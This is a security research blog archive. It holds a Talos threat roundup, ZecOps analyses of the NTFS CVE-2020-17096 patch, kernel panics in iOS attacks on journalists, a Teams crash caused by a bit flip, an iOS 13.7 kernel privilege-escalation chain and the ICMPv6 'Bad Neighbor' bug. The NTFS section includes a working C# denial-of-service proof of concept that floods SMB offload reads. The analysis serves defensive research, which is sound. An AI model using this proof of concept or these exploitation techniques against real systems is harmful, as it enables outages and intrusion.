Category Archives: Vulnerabilities

Threat Roundup for January 8 to January 15

Today, Talos is publishing a glimpse into the most prevalent threats we’ve observed between January 8 and January 15. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, this post will summarize the threats we’ve observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center,, or

Read More


20210115-tru.json – this is a JSON file that includes the IOCs referenced in this post, as well as all hashes associated with the cluster. The list is limited to 25 hashes in this blog post. As always, please remember that all IOCs contained in this document are indicators, and that one single IOC does not indicate maliciousness. See the Read More link above for more details.

NTFS Remote Code Execution (CVE-2020-17096) Analysis

NTFS Remote Code Execution (CVE-2020-17096) Analysis

This is an analysis of the CVE-2020-17096 vulnerability published by Microsoft on December 12, 2020. The remote code execution vulnerability assessed with Exploitation: “More Likely”,  grabbed our attention among the last Patch Tuesday fixes.

Diffing ntfs.sys

Comparing the patched driver to the unpatched version with BinDiff, we saw that there’s only one changed function, NtfsOffloadRead.

Diffing ntfs sys

The function is rather big, and from a careful comparison of the two driver versions, the only changed code is located at the very beginning of the function:

BinDiff - NtfsOffloadRead
uint NtfsOffloadRead(PIRP_CONTEXT IrpContext, PIRP Irp)
  PVOID decoded = NtfsDecodeFileObjectForRead(...);
  if (!decoded) {
    if (NtfsStatusDebugFlags) {
      // ...
    // *** Change 1: First argument changed from NULL to IrpContext
    NtfsExtendedCompleteRequestInternal(NULL, Irp, 0xc000000d, 1, 0);
    // *** Change 2: The following if block was completely removed
    if (IrpContext && *(PIRP *)(IrpContext + 0x68) == Irp) {
      *(PIRP *)(IrpContext + 0x68) = NULL;
    if (NtfsStatusDebugFlags) {
      // ...
    return 0xc000000d;

  // The rest of the function...

Triggering the vulnerable code

From the name of the function, we deduced that it’s responsible for handling offload read requests, part of the Offloaded Data Transfers functionality introduced in Windows 8. An offload read can be requested remotely via SMB by issuing the FSCTL_OFFLOAD_READ control code.

Indeed, by issuing the FSCTL_OFFLOAD_READ control code we’ve seen that the NtfsOffloadRead function is being called, but the first if branch is skipped. After some experimentation, we saw that one way to trigger the branch is by opening a folder, not a file, before issuing the offload read.

Exploring exploitation options

We looked at each of the two changes and tried to come up with the simplest way to cause some trouble to a vulnerable computer.

  • First change: The NtfsExtendedCompleteRequestInternal function wasn’t receiving the IrpContext parameter.

    Briefly looking at NtfsExtendedCompleteRequestInternal, it seems that if the first parameter is NULL, it’s being ignored. Otherwise, the numerous fields of the IrpContext structure are being freed using functions such as ExFreePoolWithTag. The code is rather long and we didn’t analyze it thoroughly, but from a quick glance we didn’t find a way to misuse the fact that those functions aren’t being called in the vulnerable version. We observed, thought, that the bug causes a memory leak in the non-paged pool which is guaranteed to reside in physical memory.

    We implemented a small tool that issues offload reads in an infinite loop. After a couple of hours, our vulnerable VM ran out of memory and froze, no longer responding to any input. Below you can see the Task Manager screenshots and the code that we used.

  • Second change: An IRP pointer field, part of IrpContex, was set to NULL.

    From our quick attempt, we didn’t find a way to misuse the fact that the IRP pointer field is set to NULL. If you have any ideas, let us know.

What about remote code execution?

We’re curious about that as much as you are. Unfortunately, there’s a limited amount of time that we can invest in satisfying our curiosity. We went as far as finding the vulnerable code and triggering it to cause a memory leak and an eventual denial of service, but we weren’t able to exploit it for remote code execution.

It is possible that there’s no actual remote code execution here, and it was marked as such just in case, as it happened with the “Bad Neighbor” ICMPv6 Vulnerability (CVE-2020-16898). If you have any insights, we’ll be happy to hear about them.

CVE-2020-17096 POC (Denial of Service)

Before. An idle VM with a standard configuration and no running programs.

After. The same idle VM after triggering the memory leak, unresponsive.

using (var trans = new Smb2ClientTransport())
    var ipAddress = System.Net.IPAddress.Parse(ip);
    trans.ConnectShare(server, ipAddress, domain, user, pass, share, SecurityPackageType.Negotiate, true);

        FsDirectoryDesiredAccess.GENERIC_READ | FsDirectoryDesiredAccess.GENERIC_WRITE,

    offloadReadInput.Size = 32;
    offloadReadInput.FileOffset = 0;
    offloadReadInput.CopyLength = 0;

    byte[] requestInputOffloadRead = TypeMarshal.ToBytes(offloadReadInput);

    while (true)
        trans.SendIoctlPayload(CtlCode_Values.FSCTL_OFFLOAD_READ, requestInputOffloadRead);
        trans.ExpectIoctlPayload(out _, out _);

C# code that causes the memory leak and the eventual denial of service. Was used with the Windows Protocol Test Suites.

Remote iOS Attacks Targeting Journalists: More Than One Threat Actor?

Remote iOS Attacks Targeting Journalists: More Than One Threat Actor?

ZecOps is proud to share that we detected multiple exploits by the threat actors that recently targeted Aljazeera’s journalists before it was made public. The attack detection was automatically detected using ZecOps Mobile DFIR.

In this blog post, we’ll share our analysis of the post-exploitation kernel panics observed on one of the targeted devices.

Key details on the attacks targeting journalists in Middle East:

  • First known attack: earliest signs of compromise on January 17th, 2020.
  • Was the attack successful: Yes – the device shows signs for successfully planted malware / rootkit.
  • Persistence: The device shows signs for a persistent malware that is capable of surviving reboots. It is unclear if the device was re-infected following an OS update, or that the malware also persisted between OS updates.
  • Attack Impact: The threat-operators were able to continuously access the device microphone, camera, and data including texts, and emails for the entire period.
  • Attribution: We named this threat actor Desert Cobra. We do not rule out that NSO (aka “NSO Group”) was involved in the other reporters’ cases that was published today by Citizen Labs. We refrain from naming the particular threat actor that targeted one of the victims in Citizen-Labs report, NSO, due to some activities that do not add-up with our Mobile Threat Intelligence on NSO. We also do not rule out that this device was potentially compromised by more than one threat actor simultaneously.
  • OS Update? We do recommend updating to the latest iOS version, however we have no evidence that this actually fixes any of the vulnerabilities that were exploited by this threat operator(s).

Post-exploitation Panic Analysis

A tale of two panics: MobileMail and mediaanalysisd: kauth_cred_t corruption

The following stack backtrace of the MobileMail panic indicates that the panic happened on function kauth_cred_unref:

panic(cpu 2 caller 0xfffffff02a2f47f0): "kfree: size 8589934796 > kalloc_largest_allocated 21938176"
_func_fffffff007b747f0 + 0 ~ (kfree + 340)
sfree() + 28
_func_fffffff008debd5c + 68 ~ (_mpo_cred_check_label_update + 2904)
_func_fffffff008df5f48 + 92 ~ (_sandbox_hook_policy_syscall + 6488)
_func_fffffff008df5d8c + 300 ~ (_sandbox_hook_policy_syscall + 6252)
_func_fffffff008de309c + 64 ~ (_check_boolean_entitlement + 1716)
_func_fffffff0081538e8 + 76 ~ (audit_session_unref)
_func_fffffff007f3f790 + 200 ~ (kauth_cred_unref)
 _vn_open_auth + 1612
 _open1 + 256
 _open + 528

kauth_cred_unref frees credential structures from the kernel. The following is the stack backtrace of the mediaanalysisd panic, it also panicked on function “kauth_cred_unref”:

_func_fffffff008db5d4c + 260 ~ (_sandbox_hook_policy_syscall + 6212)         
       0xfffffff010795e50  ldr x8, [x21]                  
       0xfffffff010795e54  str x8, [x19, x22, lsl #3]     
       0xfffffff010795e58  b 0x01db5e78    // 0xfffffff01254bcd0 
       0xfffffff010795e5c  ldr x9, [x8] 
 _func_fffffff008da305c + 64 ~ (_check_boolean_entitlement + 1716)
 _func_fffffff00814783c + 76 ~ (audit_session_unref)
 _func_fffffff007f336f4 + 200 ~ (kauth_cred_unref)
_func_fffffff007cebec8 + 444 ~ (_copyin + 4560)
_copyin + 2224

Function “kauth_cred_free” calls by “kauth_cred_unref”, code as follows:

static void kauth_cred_free(kauth_cred_t cred)
assert(os_atomic_load(&cred->cr_ref, relaxed) == 0);
AUDIT_SESSION_UNREF(cred); // ← call kfree, panic inside
FREE_ZONE(cred, sizeof(*cred), M_CRED);

Both of the panics happened inside “AUDIT_SESSION_UNREF”, which means the credential structure of the processes was corrupted.

A classic way to gain root access for a kernel exploit is to replace the credential structure of an attacker controlled process with the kernel credentials. Please note that it doesn’t necessarily mean MobileMail or mediaanalysisd was controlled, the corruption of the credential structures could have also happened due to wrong offsets during exploitation.

ZecOps customers: no further action is required. The deployed systems detect these activities. The complete report and full IOC list is available in ZecOps Threat Intelligence feed.

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞

Crash Analysis Series: An exploitable bug on Microsoft Teams ?! A Tale of One Bit

Crash Analysis Series: An exploitable bug on Microsoft Teams ?! A Tale of One Bit

This is a story about a Microsoft Teams crash that we investigated recently. At first glance, it looked like a possible arbitrary code execution vulnerability, but after diving deeper we realized that there’s another explanation for the crash.


  • ZecOps ingested and analyzed an event that seems exploitable on a Windows machine from Microsoft Teams
  • This machine has a lot of other anomalies
  • ZecOps verifies anomalies such as: blue screens, sudden crashes, mobile restarts without clicking on the power button; and determines if they are related to cyber attacks, software/hardware issues, or configuration problems. 
  • Spoiler alert (text beneath the black highlight):

After further analyzing the crash, we realized that the faulty hardware was causing this exploitable event to appear, and not related to an intentional attack. We suspect that a bit flip was caused due to a bad hardware component.

  • Business impact: Hardware problems are more common than we think. Repeating faulty hardware-issues lead to continuous loss of productivity, context-switches, and IT/Cyber disruptions. Identifying faulty hardware can save a lot of time. We recommend using the freely available and agent-less tool ZOTOMATE to identify what is SW/HW problems. ZecOps is leveraging machine-learning and its mobile threat intelligence, mobile DFIR, as well as endpoints and servers crash analysis solution, and mobile apps crash-analysis to perform such analysis at scale. 

The crash

Looking at the call stack, we saw that the process crashed due to a stack overflow:

 # Child-SP          RetAddr               Call Site
00 000000e5`84600f20 00007ffd`9048ebbc     ntdll!RtlDispatchException+0x3c
01 000000e5`84601150 00007ffd`9049a49a     ntdll!RtlRaiseStatus+0x5c
02 000000e5`846016f0 00007ffd`9048ebbc     ntdll!RtlDispatchException+0xa5cba
03 000000e5`84601e20 00007ffd`9049a49a     ntdll!RtlRaiseStatus+0x5c
04 000000e5`846023c0 00007ffd`9048ebbc     ntdll!RtlDispatchException+0xa5cba
05 000000e5`84602af0 00007ffd`9049a49a     ntdll!RtlRaiseStatus+0x5c
06 000000e5`84603090 00007ffd`9049350e     ntdll!RtlDispatchException+0xa5cba
07 000000e5`846037c0 00007ffd`9048eb73     ntdll!KiUserExceptionDispatch+0x2e
08 000000e5`84603f60 00007ffd`9049a49a     ntdll!RtlRaiseStatus+0x13
09 000000e5`84604500 00007ffd`9048ebbc     ntdll!RtlDispatchException+0xa5cba
0a 000000e5`84604c30 00007ffd`9049a49a     ntdll!RtlRaiseStatus+0x5c
0b 000000e5`846051d0 00007ffd`9048ebbc     ntdll!RtlDispatchException+0xa5cba
[307 more pairs of RtlRaiseStatus and RtlDispatchException]
272 000000e5`846fb670 00007ffd`9049a49a     ntdll!RtlRaiseStatus+0x5c
273 000000e5`846fbc10 00007ffd`9049350e     ntdll!RtlDispatchException+0xa5cba
274 000000e5`846fc340 00007ff7`8b93338a     ntdll!KiUserExceptionDispatch+0x2e
275 000000e5`846fcad0 00007ff7`8b922e4d     Teams!v8_inspector::V8StackTraceId::ToString+0x39152a
[More Teams frames...]
2c1 000000e5`846ffa40 00007ffd`9045a271     kernel32!BaseThreadInitThunk+0x14
2c2 000000e5`846ffa70 00000000`00000000     ntdll!RtlUserThreadStart+0x21

It can be seen from the call stack that the original exception occurred earlier, at address 00007ff7`8b93338a. Due to an incorrect exception handling, the RtlDispatchException function raised the STATUS_INVALID_DISPOSITION exception again and again in a loop, until no space was left in the stack and the process crashed. That’s an actual bug in Teams that Microsoft might want to fix, but it manifests itself only when the process is about to crash anyway, so that might not be a top priority.

The original exception

To extract the original exception that occurred on address 00007ff7`8b93338a, we did what Raymond Chen suggested in his blog post, Sucking the exception pointers out of a stack trace. Using the .cxr command with the context record structure passed to the KiUserExceptionDispatcher function, we got the following output:

0:000> .cxr 000000e5846fc340
rax=00005f5c70818010 rbx=00005f5c70808010 rcx=000074e525bf0e08
rdx=0000006225f01970 rsi=000016b544b495b0 rdi=0001000000000000
rip=00007ff78b93338a rsp=000000e5846fcad0 rbp=0000000000000009
 r8=000000e5846fcb68  r9=00000000ff000000 r10=0000000000ff0000
r11=000000cea999e331 r12=00005f5c70808010 r13=0000000000001776
r14=0000006225f01970 r15=000000e5846fcaf8
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
00007ff7`8b93338a 488b07          mov     rax,qword ptr [rdi] ds:00010000`00000000=????????????????

The original exception was triggered by accessing an invalid pointer of the value 00010000`00000000. Not only does the pointer look invalid, It’s actually a non-canonical address in today’s hardware implementations of x86-64, which means that it can’t ever be allocated or become valid. Next, we looked at the assembly commands below the crash:

0:000> u
00007ff7`8b93338a 488b07          mov     rax,qword ptr [rdi]
00007ff7`8b93338d 4889f9          mov     rcx,rdi
00007ff7`8b933390 ff5008          call    qword ptr [rax+8]

Very interesting! If we can control the rdi register at this point of the execution, that’s a great start for arbitrary code execution. All we need to control the instruction pointer is to be able to build a fake virtual table, or to use an existing one, and the lack of support for Control Flow Guard (CFG) makes things even easier. As a side note, there’s an issue about adding CFG support which is being actively worked on.

At this point, we wanted to find answers to the following questions:

  • How can this bug be reproduced?
  • What source of input can trigger the bug? Specifically, can it be triggered remotely?
  • To what extent can the pointer be controlled?

The original exception stack trace

In order to try and reproduce the crash, we needed to gather more information about what was going on when the exception occurred. We checked the original exception stack trace and got the following:

0:000> k
 # Child-SP          RetAddr               Call Site
00 000000e5`846fcad0 00007ff7`8b922e4d     Teams!v8_inspector::V8StackTraceId::ToString+0x39152a
01 000000e5`846fcb40 00007ff7`8b92f29b     Teams!v8_inspector::V8StackTraceId::ToString+0x380fed
02 000000e5`846fcbc0 00007ff7`8b92f21f     Teams!v8_inspector::V8StackTraceId::ToString+0x38d43b
03 000000e5`846fcc00 00007ff7`8b9308c0     Teams!v8_inspector::V8StackTraceId::ToString+0x38d3bf
04 000000e5`846fcc80 00007ff7`8b064123     Teams!v8_inspector::V8StackTraceId::ToString+0x38ea60
05 000000e5`846fce10 00007ff7`8b08b411     Teams!v8::Unlocker::~Unlocker+0xf453
06 000000e5`846fce60 00007ff7`8b088f16     Teams!v8::Unlocker::~Unlocker+0x36741
07 000000e5`846fd030 00007ff7`8b087eff     Teams!v8::Unlocker::~Unlocker+0x34246
08 000000e5`846fd190 00007ff7`8b053b79     Teams!v8::Unlocker::~Unlocker+0x3322f
09 000000e5`846fd1c0 00007ff7`8b364e51     Teams!v8::Unwinder::PCIsInV8+0x22059
0a 000000e5`846fd2e0 00007ff7`8b871abd     Teams!v8::internal::TickSample::print+0x54071
0b 000000e5`846fd3d0 00007ff7`8b84e3b8     Teams!v8_inspector::V8StackTraceId::ToString+0x2cfc5d
0c 000000e5`846fd420 00005ebc`b2fdc6a9     Teams!v8_inspector::V8StackTraceId::ToString+0x2ac558
0d 000000e5`846fd468 00007ff7`8b800cb8     0x00005ebc`b2fdc6a9
[More Teams frames...]
4c 000000e5`846ffa40 00007ffd`9045a271     kernel32!BaseThreadInitThunk+0x14
4d 000000e5`846ffa70 00000000`00000000     ntdll!RtlUserThreadStart+0x21

It can be deduced from the large offsets that something is wrong with the symbols, as Raymond Chen also explains in his blog post, Signs that the symbols in your stack trace are wrong. In fact, Teams comes with no symbols, and there’s no public symbol server for it, so the symbols we see in the stack trace are some of the few functions exported by name. Fortunately, Teams is based on Electron which is open source, so we were able to match the Teams functions on the stack to the same functions in Electron. At first, we tried to do that with a binary diffing tool, but it didn’t work so well due to the executable/symbol files being so large (exe – 120 MB, pdb – 2 GB), so we ended up matching the functions manually.

Here’s what we got after matching the symbols:

 # Call Site
00 WTF::WeakProcessingHashTableHelper<...>::Process
01 blink::ThreadHeap::WeakProcessing
02 blink::ThreadState::MarkPhaseEpilogue
03 blink::ThreadState::AtomicPauseMarkEpilogue
04 blink::UnifiedHeapController::TraceEpilogue
05 v8::internal::GlobalHandles::InvokeFirstPassWeakCallbacks
06 v8::internal::Heap::CollectGarbage
07 v8::internal::Heap::CollectGarbage
08 v8::internal::Heap::HandleGCRequest
09 v8::internal::StackGuard::HandleInterrupts
0a v8::internal::Runtime_StackGuard
0b v8::internal::compiler::JSCallReducer::ReduceArrayIteratorPrototypeNext
0c Builtins_ObjectPrototypeHasOwnProperty

WTF was indeed our reaction when we saw where the exception occurred (which, of course, means Web Template Framework).

From what we can see, the hasOwnProperty object method was called, at which point the garbage collection was triggered, and the invalid pointer was accessed while processing one of its internal hash tables. Could it be that we found a memory bug in the V8 garbage collection? We believed it to be quite unlikely. And if so, how do we reproduce it?

Switching context

At this point we put the Teams crash on hold and went on to look at the other crashes which occurred on the same computer. Once we did that, it all became clear: it had several BSODs, all of the type MEMORY_CORRUPTION_ONE_BIT, indicating a faulty memory/storage hardware. And looks like that’s exactly what happened in the Teams crash: the faulty address was originally a NULL pointer, but because of a corrupted bit it became 00010000`00000000, causing the exception and the crash.


The conclusion is that the relevant computer needs to have its faulty hardware replaced, and of course there’s nothing wrong with V8’s garbage collection that has anything to do with the crash. That’s yet another reminder that hardware problems can cause various anomalies that are hard to explain, such as this Teams crash or crashing at the xor eax, eax instruction.

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞

Running code in the context of iOS Kernel: Part I + LPE POC on iOS 13.7

Running code in the context of iOS Kernel: Part I + LPE POC on iOS 13.7

Abstract.  Due to its popularity, iOS has attracted the attention of a large number of security researchers.  Apple is constantly improving iOS security, develops and adapts new mitigations at a rapid pace. In terms of the effectiveness of mitigation measures, Apple increases the complexity of hacking iOS devices making it one of the hardest platforms to hack, however, it is not yet sufficient to block skilled individuals and well-funded groups from achieving remote code execution with elevated permissions, and persistence on the device.

This blog post is the first of multiple in a series of achieving elevated privileges on iOS. 

This series of posts will go all the way until privileged access is obtained, the userspace exploit, as well as persistence on the device following a reboot. The full reports are currently available to iOS Threat Intelligence subscribers of ZecOps Mobile Threat Intelligence.

We will cover in detail how chaining a few bugs leads us to run code in the context of iOS kernel. Chaining such bugs with other exploits (e.g. the iOS MailDemon vulnerability, or other webkit based bugs) allow to gain full remote control over iOS devices.

This exploit was obtained as part of ZecOps Reverse Bounty, and donated to FreeTheSandbox initiative. – Free The Sandbox restrictions from iOS & Android devices

We would like to thank @08Tc3wBB for participating in ZecOps Reverse Bounty, and everyone else that helped in this project. We would also like to thank the Apple Security team for fixing these bugs and preventing further abuse of these bugs in up to date versions of iOS.

As we’re planning to release the additional blogs, we are already releasing a full Local Privilege Escalation chain that works on iOS 13.7 and earlier versions on both PAC and non-PAC devices.

We are making this release fully open-source for transparency. We believe that it is the best outcome to improve iOS research and platform security.

You may access the source here:

The Vulnerabilities – Part I

AppleAVE2 is a graphics IOKit driver that runs in kernel space and exists only on iOS and just like many other iOS-exclusive drivers, it’s not open-source and most of the symbols have been removed. 

The driver cant be accessed from the default app sandbox environment, which reduces the chances of thorough analysis by Apple engineers or other researchers. The old implementation of this driver seems like a good attack surface and the following events demonstrate this well. 

iOS Threat Intelligence

Back in 2017,  7 vulnerabilities were exposed in the same driver, by Adam Donenfeld of the Zimperium zLabs Team,

From the description of these vulnerabilities, some remain attractive even today, while powerful mitigations like PAC (for iPhones/iPads with A12 and above) and zone_require (iOS 13 and above) are present, arbitrary memory manipulation vulnerabilities such as CVE-2017-6997, CVE-2017-6999 play a far greater role than execution hijacking type, have great potential when used in chain with various information leakage vulnerabilities.

Despite the fact that these vulnerabilities have CVEs, which generally indicating that they have been fixed, Apple previously failed to fix bugs in one go and even bug regressions. With that in-mind, let’s commence our journey to hunt the next AVE vulnerability! 

We will start off from the user-kernel data interaction interface:

user-kernel data

AppleAVE2 exposes 9 (index 0-8) methods via rewriting IOUserClient::externalMethod:

Two exposed methods (index 0 and 1) allow to add or remove clientbuf(s), by the FIFO order.

The rest of the methods (index 3-8) are all eventually calling AppleAVE2Driver::SetSessionSettings through IOCommandGate to ensure thread-safe and avoid racing.

 *1 Overlapping Segment Attack against dyld to achieve untethered jailbreak, first appearance in iOS 6 jailbreak tool — evasi0n, then similar approach shown on every public jailbreak, until after Pangu9, Apple seems finally eradicated the issue.
*2  Apple accidentally re-introduces previously fixed security flaw in a newer version.

We mainly use method at index 7 to encode a clientbuf, which basically means to load many IOSurfaces via IDs provided from userland, and use method at index 6 to trigger trigger the multiple security flaws located inside AppleAVE2Driver::SetSessionSettings.

The following chart entails a relationship map between salient objects:

clientbuf is memory buffer allocated via IOMalloc, with quite significant size (0x29B98 in iOS 13.2).

Every clientbuf objext thats is being added contains pointers to the front and back, forming a double-linked list, so that the AppleAVE2Driver’s instance stores only the first clientbuf pointer.

The clientbuf contains multiple MEMORY_INFO structures. When user-space provides IOSurface, an iosurfaceinfo_buf will be allocated and then used to fill these structures.

iosurfaceinfo_buf contains a pointer to AppleAVE, as well as variables related to mapping from user-space to kernel-space.

As part of the clientbuf structure, the content of these InitInfo_block(s) is copied from user-controlled memory through IOSurface, this happens when the user first time calls another exposed method(At index 7) after adding a new clientbuf.

m_DPB is related to arbitrary memory reading primitive which will be explained later in this post.

Brief Introduction to IOSurface

In case if you are not familiar with IOSurface, read the below:

According to Apple’s description IOSurface is used for sharing hardware-accelerated buffer data ( for framebuffers and textures) more efficiently across multiple processes.

Unlike AppleAVE, an IOSurface object can be easily created by any userland process (using IOSurfaceRootUserClient). When creating an IOSurface object you will get a 32 bit long Surface ID number for indexing purposes in the kernel so that the kernel will be able to map the userspace memory associated with the object into kernel space.  

Now with these concepts in mind let’s talk about the AppleAVE vulnerabilities. 

The First Vulnerability (iOS 12.0 – iOS 13.1.3)

The first AppleAVE vulnerability has given CVE-2019-8795 and together with other two vulnerabilities — A Kernel Info-Leak(CVE-2019-8794) that simply defeats KASLR, and a Sandbox-Escape(CVE-2019-8797) that’s necessary to access AppleAVE, created an exploit chain on iOS 12 that was able to jailbreak the device. That’s until the final release of iOS 13, which  destroyed the Sandbox-Escape by applying sandbox rules to the vulnerable process and preventing it from accessing AppleAVE, So the sandbox escape was replaced with another sandbox escape vulnerability that was discussed before. 

The first AppleAVE vulnerability was eventually fixed after the update of iOS 13.2.

Here is a quick description about it and for more detailed-write up you can look at a previous writeup.

When a user releases a clientbuf, it will go through every MEMORY_INFO that the clientbuf contains and will attempt to unmap and release related memory resources.

The security flaw is quite obvious if you compare to how Apple fixed it:

The unfixed version has defect code due to an  out-of-bounds access that allows an attacker to hijack kernel code execution in regular and PAC-enabled devices. This flaw can also become an arbitrary memory release primitive via the operator delete. and back then, before Apple fixed zone_require flaw on iOS 13.6, that was enough to achieve jailbreak on the latest iOS device.

The POC released today is just an initial version that will allow others to take it further. The POC shares basic analytics data with ZecOps to find additional vulnerabilities and help further secure iOS – this option can be disabled in the source.

In the next posts we’ll cover:

  • Additional vulnerabilities in the kernel
  • Exploiting these vulnerabilities
  • User-space vulnerabilities
  • The ultimate persistence mechanism that is likely to never be patched

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞

Exploring the Exploitability of “Bad Neighbor”: The Recent ICMPv6 Vulnerability (CVE-2020-16898)

Exploring the Exploitability of “Bad Neighbor”: The Recent ICMPv6 Vulnerability (CVE-2020-16898)

At the Patch Tuesday on October 13, Microsoft published a patch and an advisory for CVE-2020-16898, dubbed “Bad Neighbor”, which was undoubtedly the highlight of the monthly series of patches. The bug has received a lot of attention since it was published as an RCE vulnerability, meaning that with a successful exploitation it could be made wormable. Initially, it was graded with a high CVSS score of 9.8/10, though it was later lowered to 8.8.

In days following the publication, several write-ups and POCs were published. We looked at some of them:

The writeup by pi3 contains details that are not mentioned in the writeup by Quarkslab. It’s important to note that the bug can only be exploited when the source address is a link-local address. That’s a significant limitation, meaning that the bug cannot be exploited over the internet. In any case, both writeups explain the bug in general and then dive into triggering a buffer overflow, causing a system crash, without exploring other options.

We wanted to find out whether something else could be done with this vulnerability, aside from triggering the buffer overflow and causing a blue screen (BSOD)

In this writeup, we’ll share our findings.

The bug in a nutshell

The bug happens in the tcpip!Ipv6pHandleRouterAdvertisement function, which is responsible for handling incoming ICMPv6 packets of the type Router Advertisement (part of the Neighbor Discovery Protocol).

The packet structure is (RFC 4861):

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
|     Type      |     Code      |          Checksum             |
| Cur Hop Limit |M|O|  Reserved |       Router Lifetime         |
|                         Reachable Time                        |
|                          Retrans Timer                        |
|   Options ...

As can be seen from the packet structure, the packet consists of a 16-bytes header, followed by a variable amount of option structures. Each option structure begins with a type field and a length field, followed by specific fields for the relevant option type.

The bug happens due to an incorrect handling of the Recursive DNS Server Option (type 25, RFC 5006):

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
|     Type      |     Length    |           Reserved            |
|                           Lifetime                            |
|                                                               |
:            Addresses of IPv6 Recursive DNS Servers            :
|                                                               |

The Length field defines the length of the option in units of 8 bytes. The option header size is 8 bytes, and each IPv6 address adds additional 16 bytes to the length. That means that if the structure contains n IPv6 addresses, the length is supposed to be set to 1+2*n. The bug happens when the length is an even number, causing the code to incorrectly interpret the beginning of the next option structure.

Visualizing the POC of 0xeb-bp

As a starting point, let’s visualize 0xeb-bp’s POC and get some intuition about what’s going on and why it causes a stack overflow. Here is the ICMPv6 packet as constructed in the source code:

As you can see, the ICMPv6 packet is followed by two Recursive DNS Server options (type 25), and then a 256-bytes buffer. The two options have an even length of 4, which triggers the bug.

The tcpip!Ipv6pHandleRouterAdvertisement function that parses the packet does two iterations over the option structures. The first iteration does simple checks such as verifying the length field of the structures. The second iteration actually parses the option structures. Because of the bug, each iteration interprets the packet differently.

Here’s how the first iteration sees the packet:

Each option structure is just skipped according to the length field after doing some basic checks.

Here’s how the second iteration sees it:

This time, in the case of a Recursive DNS Server option, the length field is used to determine the amount of IPv6 addresses, which is calculated as following:

amount_of_addr = (length – 1) / 2

Then, the IPv6 addresses are processed, and the next iteration continues after the last processed IPv6 address, which, in case of an even length value, happens to be in the middle of the option structure compared to what the first iteration sees. This results in processing an option structure which wasn’t validated in the first iteration. 

Specifically in this POC, 34 is not a valid length for option of the type 24, but because it wasn’t validated, the processing continues and too many bytes are copied on the stack, causing a stack overflow. Noteworthy, fragmentation is required for triggering the stack overflow (see the Quarkslab writeup for details).

Zooming out

Now we know how to trigger a stack overflow using CVE-2020-16898, but what are the checks that are made in each of the mentioned iterations? What other checks, aside from the length check, can we bypass using this bug? Which option types are supported, and is the handling different for each of them? 

We didn’t find answers to these questions in any writeup, so we checked it ourselves.

Here are the relevant parts of the Ipv6pHandleRouterAdvertisement function, slightly simplified:

void Ipv6pHandleRouterAdvertisement(...)
    // Initialization and other code...

    if (!IsLinkLocalAddress(SrcAddress) && !IsLoopbackAddress(SrcAddress))
        // error

    // Initialization and other code...

    NET_BUFFER NetBuffer = /* ... */;

    // First loop
    while (NetBuffer->DataLength >= 2)
        BYTE TempTypeLen[2];
        BYTE* TempTypeLenPtr = NdisGetDataBuffer(NetBuffer, 2, TempTypeLen, 1, 0);
        WORD OptionLenInBytes = TempTypeLenPtr[1] * 8;
        if (OptionLenInBytes == 0 || OptionLenInBytes > NetBuffer->DataLength)
            // error

        BYTE OptionType = TempTypeLenPtr[0];
        switch (OptionType)
        case 1: // Source Link-layer Address
            // ...

        case 3: // Prefix Information
            if (OptionLenInBytes != 0x20)
                // error

            BYTE TempPrefixInfo[0x20];
            BYTE* TempPrefixInfoPtr = NdisGetDataBuffer(NetBuffer, 0x20, TempPrefixInfo, 1, 0);
            BYTE PrefixInfoPrefixLength = TempRouteInfoPtr[2];
            if (PrefixInfoPrefixLength > 128)
                // error

        case 5: // MTU
            // ...

        case 24: // Route Information Option
            if (OptionLenInBytes > 0x18)
                // error

            BYTE TempRouteInfo[0x18];
            BYTE* TempRouteInfoPtr = NdisGetDataBuffer(NetBuffer, 0x18, TempRouteInfo, 1, 0);
            BYTE RouteInfoPrefixLength = TempRouteInfoPtr[2];
            if (RouteInfoPrefixLength > 128 ||
                (RouteInfoPrefixLength > 64 && OptionLenInBytes < 0x18) ||
                (RouteInfoPrefixLength > 0 && OptionLenInBytes < 0x10))
                // error

        case 25: // Recursive DNS Server Option
            if (OptionLenInBytes < 0x18)
                // error

            // Added after the patch - this it the fix
            //if (OptionLenInBytes - 8 % 16 != 0)
            //    // error

        case 31: // DNS Search List Option
            if (OptionLenInBytes < 0x10)
                // error

        NetBuffer->DataOffset += OptionLenInBytes;
        NetBuffer->DataLength -= OptionLenInBytes;
        // Other adjustments for NetBuffer...

    // Rewind NetBuffer and do other stuff...

    // Second loop...
    while (NetBuffer->DataLength >= 2)
        BYTE TempTypeLen[2];
        BYTE* TempTypeLenPtr = NdisGetDataBuffer(NetBuffer, 2, TempTypeLen, 1, 0);
        WORD OptionLenInBytes = TempTypeLenPtr[1] * 8;
        if (OptionLenInBytes == 0 || OptionLenInBytes > NetBuffer->DataLength)
            // error

        BOOL AdvanceBuffer = TRUE;

        BYTE OptionType = TempTypeLenPtr[0];
        switch (OptionType)
        case 3: // Prefix Information
            BYTE TempPrefixInfo[0x20];
            BYTE* TempPrefixInfoPtr = NdisGetDataBuffer(NetBuffer, 0x20, TempPrefixInfo, 1, 0);
            BYTE PrefixInfoPrefixLength = TempRouteInfoPtr[2];
            // Lots of code. Assumptions:
            // PrefixInfoPrefixLength <= 128

        case 24: // Route Information Option
            BYTE TempRouteInfo[0x18];
            BYTE* TempRouteInfoPtr = NdisGetDataBuffer(NetBuffer, 0x18, TempRouteInfo, 1, 0);
            BYTE RouteInfoPrefixLength = TempRouteInfoPtr[2];
            // Some code. Assumptions:
            // PrefixInfoPrefixLength <= 128
